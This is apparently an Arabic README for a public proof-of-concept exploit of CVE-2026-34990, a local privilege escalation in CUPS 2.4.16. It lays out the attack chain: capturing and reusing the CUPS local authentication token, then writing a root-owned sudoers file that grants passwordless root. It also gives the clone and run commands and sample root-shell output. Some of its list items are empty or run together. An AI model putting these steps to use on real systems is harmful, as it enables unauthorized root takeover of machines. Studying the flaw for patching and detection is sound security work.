
PoC عام لـ CVE-2026-34990 - تصعيد الامتيازات المحلية في CUPS 2.4.16 عبر الكشف عن الرمز المحلي والكتابة التعسفية على ملفات الجذر.
إثبات مفهوم عام لـ CVE-2026-34990، وهي ثغرة تصعيد صلاحيات محلية تؤثر على CUPS 2.4.16.
يوضح الاستغلال كيف يمكن لمستخدم محلي غير متميز إساءة استخدام المصادقة المحلية في CUPS وسلوك إعداد الطابعة للحصول على كتابة ملف عشوائي بصلاحيات root وتصعيد الصلاحيات.
تم الإبلاغ عن CVE-2026-34990 في الأصل بواسطة:
Asim Viladi Oglu Manizada (@manizada)
أنا لست مكتشف هذه الثغرة.
يحتوي هذا المستودع على تنفيذ إثبات المفهوم الخاص بي، المُكيَّف والمُختبَر، بناءً على معلومات تقنية مُفصح عنها علنًا.
على مستوى عالٍ، سلسلة الاستغلال هي:
Local unprivileged user
|
v
Create temporary CUPS printer
|
v
Trigger outbound IPP authentication
|
v
Capture Authorization: Local token
|
v
Reuse token against privileged CUPS operations
|
v
Create/persist file:// printer
|
v
Submit print job
|
v
Root-owned arbitrary file write
|
v
Privilege escalation
يستخدم إثبات المفهوم اسم المستخدم المحلي الحالي تلقائيًا.
على سبيل المثال، عند تنفيذه باسم:
alice
تستهدف حزمة العرض التوضيحي:
/etc/sudoers.d/alice-pwn
وتحاول كتابة:
alice ALL=(ALL) NOPASSWD: ALL
يمكن بعد ذلك التحقق من نجاح الاستغلال باستخدام:
sudo -n id
مثال:
uid=0(root) gid=0(root) groups=0(root)
يتوقع إثبات المفهوم:
ipptoollplpstatتحقق من إصدار CUPS:
cups-config --version
تحقق من أن المجدول قيد التشغيل:
lpstat -r
تحقق من مستمع CUPS المحلي:
ss -lnt | grep 631
استنسخ المستودع:
git clone https://github.com/Noorkhalel/CVE-2026-34990-CUPS-LPE-PoC.git
cd CVE-2026-34990-CUPS-LPE-PoC
شغّل:
python3 exploit.py
مثال على المخرجات:
[*] user: <local-user>
[*] target: /etc/sudoers.d/<local-user>-pwn
[+] Local token: <LOCAL_TOKEN>
[*] attempt 1: <printer-name>
[+] ROOT via sudoers
uid=0(root) gid=0(root) groups=0(root)
[*] next: sudo -n bash
بعد نجاح الاستغلال:
sudo -n bash
كُتب إثبات المفهوم هذا عمدًا كتنفيذ عام للثغرة المُفصح عنها علنًا.
لا يحتوي على:
يُقدَّم هذا الكود من أجل:
استخدم هذا الكود فقط على الأنظمة التي تملكها أو الأنظمة التي لديك تصريح صريح بها.
المؤلف غير مسؤول عن إساءة استخدام هذا البرنامج.
اكتشاف الثغرة:
Asim Viladi Oglu Manizada (@manizada)
تكييف إثبات المفهوم، والاختبار، والتوثيق:
Noor Khalil